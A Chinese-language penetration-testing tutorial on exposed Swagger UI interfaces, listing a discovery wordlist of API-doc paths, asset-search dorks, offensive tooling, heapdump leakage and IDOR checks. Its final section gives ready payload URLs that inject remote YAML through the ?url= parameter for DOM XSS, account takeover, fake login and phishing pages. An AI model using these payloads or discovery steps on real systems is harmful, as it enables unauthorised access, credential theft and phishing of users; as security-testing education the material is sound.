Swagger完整渗透测试流程

Swagger UI未授权访问漏洞一般是hw和渗透实战过程中很常见的一类漏洞。这篇文章我将完整的描述在目标上发现Swagger UI漏洞的方法技巧,包括信息泄露/越权访问/IDOR/资源注入和XSS等漏洞,尽量梳理下Swagger完整的渗透流程。

Swagger UI 是什么

image-20260320100103079

Swagger UI 网页界面

Swagger UI 是一个基于Web的界面,用于文档化、可视化和交互使用OpenAPI规范(OAS)定义的API。

说白了就是一本”公开的说明书”,通过详细的文档把后端逻辑和API功能全暴露出来了。

那在挖洞的时候应该关注哪些点? 很多人只测试一下 Swagger UI的XSS 就走了,但其实有很多关键点很容易被忽略。

最应该关注的有这些功能:

  • 查看所有可用的API端点
  • 查看请求和响应格式
  • 直接在浏览器里测试API
  • 应用后端的可视化路线图
  • API流程和文档
  • 检测已有漏洞

如何识别 Swagger UI

先来学学怎么在目标上找到和识别Swagger UI

一些常见的暴露Swagger UI的端点:

/swagger/index.html
/swagger-ui.html
/api/docs
/swagger-resources
/swagger/v1/swagger.json
/openap.json
/api/swagger.json
/v2/api-docs
/v3/api-docs

跟具暴露端点对Swagger整理出来的字典:

/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/api/v2/tenants/default_tenant/databases/default_database/collections
/api/v1/collections?tenant=default_tenant&database=default_database
/docs/openapi.json
/openapi.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs
/cloud/vis/base/v1/api-docs
/cloud/vis/base/v2/api-docs
/cloud/vis/base/v3/api-docs

Swagger相关工具

(1)swagger-hack工具

简介:自动化爬取并自动测试所有swagger接口

https://github.com/jayus0821/swagger-hack

image-20260320110315322

(2)Swagger API Exploit 1.2

https://github.com/lijiejie/swagger-exp.git

(3)go-pwn-swagger

git clone https://github.com/Abhinandan-Khurana/go-pwn-swagger.git

(4)加密的Swagger

首先一般大家分享Swagger泄露接口敏感信息,一般都是在Swagger-UI这个插件里面分析

我这里以Google商店的插件为例,然后火狐和eg浏览器 的话也差不多都是这个绿色的小图标

image-20260320113840309

然后可以看下我下面通过FOFA找到的一个Swagger接口泄露的一个站点,然后利用这个插件去打开

image-20260320113902200

但是这个插件可以看到Authorize关键字,这个你可以点击下,这个标识就是表示这个泄露的 接口需要我们输入加密的信息,要是按照正常的直接访问这个泄露的api接口,然后看敏感信息就不可行了,下面我来带大家使用一个Swagger脚本工具来给师傅们演示下

image-20260320113941865

首先我们先访问下这个泄露的swagger/v1/swagger.json文件目录

image-20260320113957103

然后可以在json文件看到里面有非常多的api接口泄露,但是太多了很多都是没有权限访问的,要是挨个拼接不太现实,那么下面我就给师傅们介绍下面下面的这款swagger工具

image-20260320114018561

heapdump文件泄露

访问/heapdump或者/actuator/heapdump

Heap Dump也叫堆转储文件,是一个Java进程在某个时间点上的内存快照

其中可能会含有敏感数据,如数据库的密码明文等

直接访问路径会返回一个GZip压缩的JVM堆dump,其中是jvm heap信息。下载的heapdump文件大小通常在 50M—500M 之间,有时候也可能会大于 2G

资产测绘语法

在挖洞过程中,你可以用专门针对Swagger UI端点的字典跑一波,或者用搜索引擎语法来找。

360Quake 语法

title:"Swagger UI"

Hunter 语法

web.title="Swagger UI"

Google 语法

intitle:"Swagger UI"

Shodan 语法

http.title:"Swagger UI"

FOFA 语法

title="Swagger UI"

image-20260320110840228

目标 Swagger UI 示例

漏洞类型

1.敏感信息泄露类

因为Swagger UI主要就是做文档用的,如果公开暴露或者配置不当,Swagger UI可能泄露内部API、凭证、后端敏感功能和敏感数据。

因为每个目标的API流程、请求和响应都不一样,你需要手动点开每个标签/滑块,查看响应、示例,尝试执行请求。秘密就藏在这些地方。

非敏感暴露的POC示例。

非敏感的如下:

image-20260320110918615

敏感暴露的POC示例。

敏感信息的如下:

image-20260320111215799

敏感信息暴露

image-20260320111232302

敏感信息暴露

image-20260320111248581

敏感信息一般暴露的如下:

数据库、硬编码凭证和内部服务

重点关注弱密码哈希、md5哈希、响应中的硬编码密钥、示例值中可见的密钥、API密钥、Token、数据库凭证、内部IP/主机名、隐藏或敏感端点。

需要关注的关键词

admin, internal, users, roles, config, debug, log, secret, api-keys, 等。

2. 越权访问 / IDOR

在API文档中检查敏感端点是否可以在未认证或未授权的情况下访问。

试一试功能在某些情况下也可以用来测试对象级别授权问题。

image-20260320111530382

试一试功能示例

image-20260320111553152

执行 Try it out 功能示例

检查响应是否泄露了不必要的数据,或者尝试将user_id从user_id1改为user_id2等。

提示:为了最大化发现漏洞的概率,需要手动检查每个API响应,分析暴露的数据,有效利用这些信息。

image-20260320111612813

3. 资源注入 / DOM XSS / HTML / iFrame 注入

很多Swagger UI存在资源注入漏洞,可能导致DOM XSS、HTML注入、iFrame注入等攻击向量。

触发参数:?url= / ?config= / ?configUrl=

(1)DOM XSS poc

http://xxx.com/swagger-ui.html?url=https://raw.githubusercontent.com/Rivek619/R-Payloads-101/refs/heads/main/SwaggerUI/rtest0.yaml

如果看到此弹出窗口,可以尝试账户接管、凭证收集和网络钓鱼页面

(2)账户接管poc

http://xxx.com/swagger-ui.html?url=https://raw.githubusercontent.com/Rivek619/R-Payloads-101/refs/heads/main/SwaggerUI/rtest6.yaml

(3)资源注入虚假登录页面poc

http://xxx.com/swagger-ui.html?url=https://raw.githubusercontent.com/Rivek619/R-Payloads-101/refs/heads/main/SwaggerUI/rlogin1.yaml

(4)钓鱼页面:

http://xxx.com/swagger-ui.html?url=https://raw.githubusercontent.com/Rivek619/R-Payloads-101/refs/heads/main/SwaggerUI/ylogin.yaml